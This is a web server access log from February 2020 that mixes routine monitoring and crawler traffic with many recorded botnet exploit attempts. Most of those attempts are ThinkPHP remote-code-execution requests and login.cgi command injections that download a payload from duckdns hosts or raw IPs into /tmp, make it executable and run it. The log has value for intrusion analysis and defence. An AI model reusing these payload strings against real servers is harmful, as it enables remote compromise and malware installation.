118.71.4.28 - - [02/Feb/2020:19:40:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [02/Feb/2020:19:40:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [02/Feb/2020:19:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.34.167.211 - - [02/Feb/2020:19:42:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.71.144.233 - - [02/Feb/2020:19:43:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:19:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.24.139.155 - - [02/Feb/2020:19:44:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:19:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [02/Feb/2020:19:44:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [02/Feb/2020:19:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.109.251.47 - - [02/Feb/2020:19:46:02 +0100] "\x16\x03\x01" 501 318 "-" "-"
113.22.191.201 - - [02/Feb/2020:19:46:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.215.138 - - [02/Feb/2020:19:48:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.139.89 - - [02/Feb/2020:19:49:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.213.214.180 - - [02/Feb/2020:19:49:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
81.213.214.180 - - [02/Feb/2020:19:49:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.196.231 - - [02/Feb/2020:19:52:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.188.93 - - [02/Feb/2020:19:54:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.133.131 - - [02/Feb/2020:19:56:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.226.25.182 - - [02/Feb/2020:19:56:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
81.191.134.206 - - [02/Feb/2020:19:57:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:19:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:19:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.76 - - [02/Feb/2020:20:00:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.242.90 - - [02/Feb/2020:20:05:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.124.223.251 - - [02/Feb/2020:20:07:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:20:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.126.98.190 - - [02/Feb/2020:20:08:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.176.69 - - [02/Feb/2020:20:08:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.133.194.58 - - [02/Feb/2020:20:09:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.217 - - [02/Feb/2020:20:11:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.79.234 - - [02/Feb/2020:20:14:09 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.79.234 - - [02/Feb/2020:20:14:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [02/Feb/2020:20:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.252.126 - - [02/Feb/2020:20:15:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.61.15.10 - - [02/Feb/2020:20:22:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:20:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.174.213 - - [02/Feb/2020:20:23:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.238.249.169 - - [02/Feb/2020:20:28:43 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.238.249.169 - - [02/Feb/2020:20:28:44 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.238.249.169 - - [02/Feb/2020:20:28:44 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.238.249.169 - - [02/Feb/2020:20:28:44 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.238.249.169 - - [02/Feb/2020:20:28:45 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.238.249.169 - - [02/Feb/2020:20:28:45 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.238.249.169 - - [02/Feb/2020:20:28:45 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.238.249.169 - - [02/Feb/2020:20:28:46 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.238.249.169 - - [02/Feb/2020:20:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
84.27.89.152 - - [02/Feb/2020:20:28:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:20:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.202.48 - - [02/Feb/2020:20:30:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.35.43 - - [02/Feb/2020:20:31:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
174.61.3.32 - - [02/Feb/2020:20:33:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [02/Feb/2020:20:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.152.39 - - [02/Feb/2020:20:38:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.60.124 - - [02/Feb/2020:20:41:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.54 - - [02/Feb/2020:20:42:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.92.56 - - [02/Feb/2020:20:44:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
86.120.44.244 - - [02/Feb/2020:20:45:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [02/Feb/2020:20:47:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
51.254.59.113 - - [02/Feb/2020:20:48:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
42.117.32.40 - - [02/Feb/2020:20:48:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.149.173.126 - - [02/Feb/2020:20:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.17.245.24 - - [02/Feb/2020:20:49:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.90.216.156 - - [02/Feb/2020:20:49:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.4.198.141 - - [02/Feb/2020:20:51:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
